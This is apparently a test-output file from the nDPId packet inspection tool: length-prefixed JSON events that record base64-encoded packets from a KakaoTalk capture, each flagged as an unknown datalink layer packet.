+00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2428,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2429,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":759284,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLx9iAbFDpi0HrGguGVRl2Gq\/tcVBY3TCRLjZKuLSv81fXLeLTl6v192z6l98LjlkAYQPVWF91dHElCLuhghshuih7MrfQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2429,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2430,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":779273,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/byCAbDNvfrFMw1Sapdq+ilGhi6F9zNjOIS4oZLfW0GZ6RFqTdcFjEhUbhitBYEIBl9mEno9tYZCS"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2430,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2431,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":786933,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/h36AbDN8frF9g1SapdoVUPtmgWBR4+UyTOoyshOvsz9UVccyJYhs2NHYFxAg8u6vORhFd0hDRvIn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2431,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2432,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":799323,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/CEuAbDNwfrFQg1SapdrfZC8rIh\/OS1wb9PFF1EZCoV55mxNcbAXa6S1h1ukWRxHcoD3uXt+FfyIo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2432,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2433,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":808051,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAPxHa+QoYUrwByQGuLDhaBACV9reAbFD2i0Ib2guGVRmtVSHJhlYiKiydGcHjwYSpLvy3ekoF4yyvomolBkmYHwJMpACNiPwAyyknsWIA4wKiWE1qlEcJP+O2+nxgvVltz4PZatxi8lp9ioRhmr4rxMPFtlOZgsYHYVQ1uDZN0880zfzkC+\/trUfAFCdbIqXS4WBqBdR9G6OtjoSMllbIuLk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2433,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2434,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":809180,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJsAAEAAPxHbBwoYUrwByQGuLDhaBACHLlCAbFD3i0IfmguGVRlA17HU1Y5JkXQR2iEu8C4nhCf3Xt6Yu34sGKRYLpn7E97A9uMQM5zxKxSHE8gpZC5X3O5T76V6pIzftE+gpQ2yQGp9aEoZO64QQvqXiPJsdrjTpHLgDtK0+kG3UTqaMqg5tRonFtJalrAmrQmWpF6+inUq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2434,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2435,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":858191,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/xkyAbDN9frGBQ1Sapdq3g8\/BQ1bT65C4Oi\/YX\/LJMbjdbzwYfz1MugvKXPhYsuVPtw0m3qSaGEYb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2435,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2436,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":863166,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGcAAEAAHBH+EwHJAa4KGFK8WgYoHABTu2uAbFDqi0Hu2guGVRmOxzaU+3V8WwiVfaq2b+kbL67GMLH8gtZWWORO5Y65T7fZqeRf\/irPtp3YE77RqYC8YIybo+OxC88QCtsCxPA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2436,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2437,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":895209,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJIAAEAAHBH96AHJAa4KGFK8WgYoHAB+XPqAbFDri0HymguGVRnGJPkc5BoGgaNqJaH6h8QusGamrXI3pzjfyA5+1Di8dIDZbG3opz3cIqxeMMugHej\/x9taNAwVXJh1eI2RbNbEkpNasi2CUz5PrriuWp\/9PAbCtl5sp5+mKT8SFzeOpXUiIzsSrTNvi6iw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2437,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2438,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":907233,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/9fOAbDNxfrFUQ1SapdpE1ZGK8L+bFEhJnP3AE+FpG109aTbRm9MnM1wPGpouNdby43wiFvb8BbTo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2438,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2439,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":912207,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAPxHbMAoYUrwByQGuLDhaBABeTgSAbFD4i0IjWguGVRlZ\/DRhtkBkp\/0GZ4Bq\/zz+kUFnX5htEHNfK5WDJcAYZoXx7LtYgoK8i9qWHoBz7+Gg9t7w2t9dhs6m7LhrS6hagvLSR3lNx99h7g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2439,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2440,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":942206,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/7v2AbDN+frGFA1Sapdrv0yPgpcrHyN1ov90EZRcFWJ21o06aOOFcJCCAuE61iqtDFz6rlwl5RysD"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2440,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2441,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":985907,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/3bqAbDN\/frGIw1SapdqnfTvHtG6Jrgi36HxwPJpva1uHukuhClP1JUPIaZX\/vD90bjn9G8\/Nsk1U"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2441,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2442,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":14197,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAPxHbHgoYUrwByQGuLDhaBABw0huAbFD5i0InGguGVRl36TVCrYK4aRboIHQ1sMifLzjT3OMfzMWyB0kTD7NICPJApa+6+d49ypn7wqb+fA7OtM+jHUO1cuX05aVfFAgQJR2+VRl6upAjYjH7BULwaciysrrpz9K10g9Iig=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2442,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2443,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":14350,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABP3V2AbFD6i0Iq2guGVRkJFmBBiW2jfP0mVrPWF4azgb3zxkja7OSG4i7ylxkF4OB3FR1j91AfCnbK7vXn8GdTETBcOx1wsmuxDg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2443,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2444,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":21887,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/TyKAbDOAfrGMg1SapdoflydwFyira80CdnEIMWobGjej3SSB+Qsgh2HakfawYkIfBhz56t2Vn9T1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2444,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2445,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":43250,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTyk0AALwb+3W5MjzIKGFK8Iynl6dfwrHktaZgLgBAAM58PAAABAQgKRNwOYgAC1vU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2445,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2446,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":59302,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/V3CAbDNyfrFYA1SapdpcabQ+e6bqXRmCz6heWG7EMT2pzOU43LDs7Mxt03VIXmZpEnBOtz\/VdvMf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2446,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2447,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":109076,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABD5EyAbFD7i0IumguGVRkaHFtr1P13QAd7vYqRvA11Vie7YzInB14ZBzqobAJg9vCv207uP+\/xiSWdNoJtZA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2447,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2448,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":109168,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABOphOAbFD8i0IyWguGVRk2YrzKyGd7+VRWqMk9fKtFRYeCfyvZhEcKyCEk+mUgPHnTIv5cMESM4kKf85idL5Q7\/VASODUuTyxi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2448,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2449,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":112891,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHBH96wHJAa4KGFK8WgYoHAB7ch6AbFDsi0H2WguGVRl5kSa7p52TMRQ8pkWA9J\/9cabhtMJkiuhzcStBbOt8az3\/j5sVVIhKPDV80WqT24a\/rj53m4Gk3wDsPrmPU3wnAc3TV1SF1GJAbKOPxkclwMAgkS9hIjTSP\/IwL3r71uWuBDpKrewW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2449,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2450,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":117774,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKQuOAbDOBfrGQQ1Sapdok7V7BYo1BCAlt0\/DGAsAWo87cnpCUwo9HPHrNQNgpb4ubr1ljZBg2JxbJwxQC8fHgXlNhsPU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2450,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2451,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":160987,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAQBHaCAoYUrwByQGuKBxaBgCGUzaAbDOCfrGUA1SapdoqeScOYbKEloGAvpzZqCHjSw9d001yF5YIeuwCcf4h+urC788AlHZo3PhLhx8yvnuRFxaETr9TWUyYzapDtL6XDI+iRufrwRgrFnu6B2NFhhSEH13DyNWHXxW0Ecf1\/YLhLtg6Ga9r+9HtWVSZIkINCV8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2451,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2452,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":168616,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ4AAEAAHBH93AHJAa4KGFK8WgYoHACKUlOAbFDti0H6GguGVRmWqmJK4Jrgsmvg56u6tS3ua9zAhNZfdYCVjQjgkUhELfVU4bpKMr3OmbTa+0j36DUiBVgmpKF3+2ZhsKLzTouH5x7rozmVxU0PnMvAXi4Q9UIX9fkoIAHX1BMcWieMkaluaB7gIfgKOEECl8lHWA\/rMdIpYRIN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2452,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00593{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2453,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":218238,"pkt_caplen":211,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":211,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMMAAEAAPxHa3woYUrwByQGuLDhaBACvz3mAbFD9i0I2GguGVRkUtlBFIU0SakFBSWYHbHeJycHWzOSwaxXeKQYXB5arTv7QGc2yVK4FG7Ho4c70kXYuF7UqY3OcAHIAk+8uyCGWiL7Hy1ymfLNUKvd2afYbdu72i\/hVQ9mwNjwN\/a2Lyf\/R9idTGso\/EKcfRDTS4CMkkH3xjzFVT5m2XYBU9pa7KuWAhUimxwxKKxw5VciJXli\/zH+3I5dLKKVplw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2453,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2454,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":224921,"pkt_caplen":192,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":192,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALAAAEAAQBHZ8goYUrwByQGuKBxaBgCcdLGAbDODfrGXw1SapdpFLlER9f7h+Vw5gA7oLOZLGZNDDPQAgdcSBhg9SSOI2Ao0O6O8oHcp4Xjv75n1YjiEAYmUdEwo0Img2\/jK0E5PNbLN6owcTEajf65nAULUAZboziFp34P3REkWlPYZMB4CyNT0gqRNYh3QahOl\/VPo+oBlv560gb0J6cLK5xND3tlV6XkgDC6G"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2454,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2455,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":243201,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/U0aAbDNzfrFbw1SapdpRhsOo6RT5S8L\/CwACP3Wfa+poSao2vy+vk\/+PeFowZ57YDBn+il3XY5b\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2455,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2456,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":263892,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK8AAEAAQBHZ8woYUrwByQGuKBxaBgCbM02AbDOEfrGbg1SapdpLI1QEQ4B6geG1WctuBwLPJbnjvyRNhGF0K3Vpc2YLagZbwlUT4W0VyLF8LwjvKgfNboud4fF61CJNlD9JGRuoW85xZLV1V1U5pazH9HLxbeE91bj3w5Crzndry0\/zgITvazKhQuYMLm+oSf86Qy\/z9bAD6ITJGS6d\/XeDzR29VC+yVGo3p\/E="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2456,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2457,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":299292,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHBH+DQHJAa4KGFK8WgYoHABZ+0yAbFDui0H92guGVRn5OayKSc1F8abGXGXqrMFFY23LruAY4wbBYiolB9ouBfBLBA96Z6X2PyRpXDNtyftkPFHiOQLg\/AlU9rAtFq+dZAJCqmA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2457,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2458,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":320044,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBAChDlCAbFD+i0I52guGVRnOg+2eLVjH9sUoAhN2RUXvS8DRhr\/9xTMy65fD+9p9vBUZZjmKVh5Bq2zmQRBu85aeFxgLeMGpyMm6xMTssEDmszKcprcf\/b+fApxEkJ4iwagTB5\/PpzOvPLoY3ALSuxyJDydq1+auJDghaI3UG51zKcpCojzwnZNrkXMt1mVTry\/if\/wPKUCUh0QcVLM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2458,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2459,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":324805,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL0AAEAAPxHa5QoYUrwByQGuLDhaBACpRoKAbFD\/i0I9mguGVRnALERgB2IlOz+fgCpJoHn6xOdkQd55nmTK0PYYkES9TlIQSa\/Yexgly1wDmS\/ngQAePkd18e+OfLQ8G1\/3p8x8yntLa7qs243w692HTMbU77J0DcINi61\/vftK6mbGxjlht3yqa9dNiHjweqTRIR7vJg2vVc9M1N9QOPQNie6\/wvgEKbrLTB6Qab4h8T1HNh59FNlQtg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2459,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2460,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":328742,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw7EAALwZAhW5MjzIKGFK8H5CAyJJ46c\/3EeJ+gBAAOIJAAAABAQgKRNwPjwALT0o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2460,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2461,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":343268,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/Tu2AbDN0frFfg1SapdrzZPNiFeYHf3Zpo2Zq4fGWkublIRyX+H6+RJfxUrmXRowT\/6pKwP+ji4OU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2461,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2462,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069206,"pkt_ts_usec":343848,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/bBmAbDN1frFjQ1SapdohVPzRFm6ycgGyelYsqj\/ehEPRaJBQ10+6bge0TNt0aIYO7wmXkZlbDzNX"} 